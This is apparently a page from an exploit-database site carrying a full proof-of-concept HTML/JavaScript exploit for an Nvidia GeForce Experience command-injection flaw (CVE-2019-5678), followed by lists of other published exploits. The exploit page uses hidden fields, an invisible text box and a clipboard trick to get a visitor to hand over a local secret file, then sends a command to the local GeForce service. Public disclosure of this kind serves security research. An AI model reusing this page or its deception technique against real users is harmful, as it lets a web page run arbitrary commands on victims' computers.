Search for hundreds of thousands of exploits

"Nvidia GeForce Experience Web Helper - Command Injection"

Author

Exploit author

"Rhino Security Labs"

Platform

Exploit platform

windows

Release date

Exploit published date

2019-06-03

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!-- 
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
 -->
<html>
   <head>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
   </head>
   <body>
      <script>
         //Send request to local GFE server
          function submitRequest(port,secret)
          {
           var xhr = new XMLHttpRequest();
           xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
           xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
           xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
           xhr.setRequestHeader("Content-Type", "text\/html");
          xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
           var body = "\""+document.getElementById("cmd").value+"\"";
          var aBody = new Uint8Array(body.length);
           for (var i = 0; i < aBody.length; i++)
             aBody[i] = body.charCodeAt(i); 
           xhr.send(new Blob([aBody]));
          }
          
          $(document).on('change', '.file-upload-button', function(event) {
          var reader = new FileReader();
          
          reader.onload = function(event) {
          var jsonObj = JSON.parse(event.target.result);
          submitRequest(jsonObj.port,jsonObj.secret);
          }
          
          reader.readAsText(event.target.files[0]);
          });
          
          //Copy text from some text field
          function myFunction() {
          var copyText = document.getElementById("myInput");
          copyText.select();
          document.execCommand("copy");
          
          }
          
          //trigger the copy and file window on ctrl press
          $(document).keydown(function(keyPressed) {
          if (keyPressed.keyCode == 17) {
          myFunction();document.getElementById('file-input').click();
          }
          });
      </script>
      <h2>
         Press CTRL+V+Enter
      </h2>
      <!--Command to run in a hidden input field-->
      <input type="hidden" value="calc.exe" id="cmd" size="55">
      <!--Hidden text box to copy text from-->
      <div style="opacity: 0.0;">
         <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
            id="myInput" size="1">
      </div>
      <!--file input-->
      <input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
   </body>
</html>
Release DateTitleTypePlatformAuthor
2020-06-01"QuickBox Pro 2.1.8 - Authenticated Remote Code Execution"webappsphps1gh
2020-06-01"Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation"webappsphp"Raphael Karger"
2020-06-01"VMware vCenter Server 6.7 - Authentication Bypass"webappsmultiplePhotubias
2020-05-29"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass"webappsmultiple"Halis Duraki"
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"NOKIA VitalSuite SPM 2020 - 'UserName' SQL Injection"webappsmultiple"Berk Dusunur"
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
Release DateTitleTypePlatformAuthor
2020-05-26"StreamRipper32 2.6 - Buffer Overflow (PoC)"localwindows"Andy Bowden"
2020-05-25"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)"remotewindowsMetasploit
2020-05-25"GoldWave - Buffer Overflow (SEH Unicode)"localwindows"Andy Bowden"
2020-05-22"VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP_ASLR)"localwindowsGobinathan
2020-05-22"Konica Minolta FTP Utility 1.0 - 'LIST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Filetto 1.0 - 'FEAT' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Druva inSync Windows Client 6.6.3 - Local Privilege Escalation"localwindows"Matteo Malvica"
2020-05-21"CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)"localwindows"Xenofon Vassilakopoulos"
2020-05-21"AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC)"doswindows"Xenofon Vassilakopoulos"
Release DateTitleTypePlatformAuthor
2019-06-03"Nvidia GeForce Experience Web Helper - Command Injection"localwindows"Rhino Security Labs"
2019-03-13"Apache Tika-server < 1.18 - Command Injection"remotewindows"Rhino Security Labs"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46972/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.